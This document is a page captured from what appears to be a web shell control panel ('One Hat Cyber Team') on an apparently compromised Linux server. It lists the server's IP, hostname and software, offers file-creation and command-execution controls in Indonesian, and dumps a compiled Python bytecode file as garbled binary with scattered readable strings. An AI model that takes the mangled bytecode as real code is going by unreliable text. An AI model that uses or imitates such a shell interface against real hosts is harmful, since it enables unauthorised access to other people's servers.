⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.67
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
crypto-policies
/
python
/
__pycache__
/
View File Name :
build-crypto-policies.cpython-39.opt-1.pyc
a gW @ sx d dl Z d dlZd dlZd dlZd dlZd dlZdZdd Zdd Zdd Z dd d Z dd Zd d Ze dkrte dS ) Nzreload-cmds.shc O s t | dtji| d S )Nfile)printsysstderr)argskwargs r :/usr/share/crypto-policies/python/build-crypto-policies.pyeprint s r c C s t jdd} | jdddd | jdddd | jd td dd | jd ddd | jdddd | jddd | jddd | S )zParse the command lineF)allow_abbrevz--flat store_truez1put all the generated files in a single directory)actionhelpz--testz7compare the generated config file with the existing onez--policyZPOLICYz"generate the specified policy only)typemetavarr z--reloadcmdszDalso save reload cmds into reload-cmds.sh script in output directoryz--strictzfail on warnings policydirz5a directory with base policy definition files (*.pol))r outputdirz.a target directory with generated config files)argparseArgumentParseradd_argumentstr parse_args)parserr r r r s. r c C sz | j r$tj| j| d| d}n`tj| j|}tj|srzt| W n" typ td| Y dS 0 tj||d }| j r"z^t |dd}| }W d n1 s0 Y ||krtd| d| d W dS W d S t y Y n$ ty td| Y dS 0 t d| d| t |d dd}|| W d n1 sf0 Y t d S )N-z.txtz#Cannot create directory for policy Futf-8)encodingzConfig for z for policy z differs from the existing oneTzError reading generated file zSaving config for wmoder )Zflatospathjoinr isdirmkdirOSErrorr testopenreadFileNotFoundErrorr write)cmdlinepolicy_nameZconfig_nameconfigr dirpathfZ old_configr r r save_config/ s<